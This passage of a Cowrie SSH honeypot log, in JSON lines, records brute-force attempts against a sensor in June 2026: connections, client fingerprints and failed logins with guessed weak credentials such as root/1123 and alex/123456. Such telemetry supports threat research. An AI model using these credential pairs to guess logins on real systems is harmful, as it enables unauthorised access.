penssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:02.250826Z","src_ip":"91.92.40.36","session":"b362f7e99e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.4","message":"Connection lost after 16.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:02.287677Z","src_ip":"38.46.222.137","session":"ed28b732aa26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:04.950242Z","src_ip":"91.92.40.36","session":"8b264858b317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43948,"dst_ip":"10.17.0.5","dst_port":22,"session":"284cc07f3816","protocol":"ssh","message":"New connection: 91.92.40.36:43948 (10.17.0.5:22) [session: 284cc07f3816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:07.762785Z"}
{"eventid":"cowrie.login.failed","username":"alex","password":"123456","message":"login attempt [alex/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:08.502353Z","src_ip":"91.92.40.36","session":"b362f7e99e7b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:08.999147Z","src_ip":"91.92.40.36","session":"284cc07f3816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:09.004570Z","src_ip":"91.92.40.36","session":"284cc07f3816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:11.765881Z","src_ip":"91.92.40.36","session":"b362f7e99e7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43968,"dst_ip":"10.17.0.5","dst_port":22,"session":"32dbc4523a17","protocol":"ssh","message":"New connection: 91.92.40.36:43968 (10.17.0.5:22) [session: 32dbc4523a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:12.771618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:13.993329Z","src_ip":"91.92.40.36","session":"32dbc4523a17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:13.996622Z","src_ip":"91.92.40.36","session":"32dbc4523a17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1111","message":"login attempt [deploy/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:17.285466Z","src_ip":"91.92.40.36","session":"284cc07f3816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123","message":"login attempt [claude/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:18.129312Z","src_ip":"91.92.40.36","session":"32dbc4523a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:19.445780Z","src_ip":"91.92.40.36","session":"32dbc4523a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.2","message":"Connection lost after 12.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:19.923533Z","src_ip":"91.92.40.36","session":"284cc07f3816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26384,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ef61164981f","protocol":"ssh","message":"New connection: 91.92.40.36:26384 (10.17.0.5:22) [session: 2ef61164981f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:22.505281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:22.766664Z","src_ip":"91.92.40.36","session":"2ef61164981f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:22.769654Z","src_ip":"91.92.40.36","session":"2ef61164981f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1123","message":"login attempt [root/1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:25.433656Z","src_ip":"91.92.40.36","session":"2ef61164981f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:27.419445Z","src_ip":"91.92.40.36","session":"2ef61164981f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":59862,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4a4d7a96a09","protocol":"ssh","message":"New connection: 27.71.230.31:59862 (159.203.135.109:22) [session: f4a4d7a96a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:28.662052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:29.314838Z","src_ip":"27.71.230.31","session":"f4a4d7a96a09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:29.317506Z","src_ip":"27.71.230.31","session":"f4a4d7a96a09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46024,"dst_ip":"10.17.0.5","dst_port":22,"session":"57c641bedbcf","protocol":"ssh","message":"New connection: 91.92.40.36:46024 (10.17.0.5:22) [session: 57c641bedbcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:29.365802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:30.393317Z","src_ip":"91.92.40.36","session":"57c641bedbcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:30.398141Z","src_ip":"91.92.40.36","session":"57c641bedbcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"12345","message":"login attempt [developer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:31.996990Z","src_ip":"91.92.40.36","session":"57c641bedbcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:33.132586Z","src_ip":"91.92.40.36","session":"57c641bedbcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123456!","message":"login attempt [root/Admin123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:36.646801Z","src_ip":"27.71.230.31","session":"f4a4d7a96a09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33290,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1d67c9ba5e3","protocol":"ssh","message":"New connection: 91.92.40.36:33290 (10.17.0.5:22) [session: d1d67c9ba5e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:38.610238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:39.328414Z","src_ip":"91.92.40.36","session":"d1d67c9ba5e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:40.271167Z","src_ip":"91.92.40.36","session":"d1d67c9ba5e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33364,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe36b7afec85","protocol":"ssh","message":"New connection: 91.92.40.36:33364 (10.17.0.5:22) [session: fe36b7afec85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:44.313829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:45.109500Z","src_ip":"91.92.40.36","session":"fe36b7afec85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:45.113485Z","src_ip":"91.92.40.36","session":"fe36b7afec85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.7","message":"Connection lost after 16.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:45.383401Z","src_ip":"27.71.230.31","session":"f4a4d7a96a09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":37412,"dst_ip":"10.17.0.5","dst_port":22,"session":"29cf2f7fb6cd","protocol":"ssh","message":"New connection: 73.36.177.174:37412 (10.17.0.5:22) [session: 29cf2f7fb6cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:45.546944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:45.555493Z","src_ip":"73.36.177.174","session":"29cf2f7fb6cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:45.600838Z","src_ip":"73.36.177.174","session":"29cf2f7fb6cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yh@123456","message":"login attempt [root/Yh@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:45.816270Z","src_ip":"73.36.177.174","session":"29cf2f7fb6cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sharon","password":"sharon","message":"login attempt [sharon/sharon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:46.469751Z","src_ip":"91.92.40.36","session":"d1d67c9ba5e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:46.865035Z","src_ip":"73.36.177.174","session":"29cf2f7fb6cd","protocol":"ssh"}
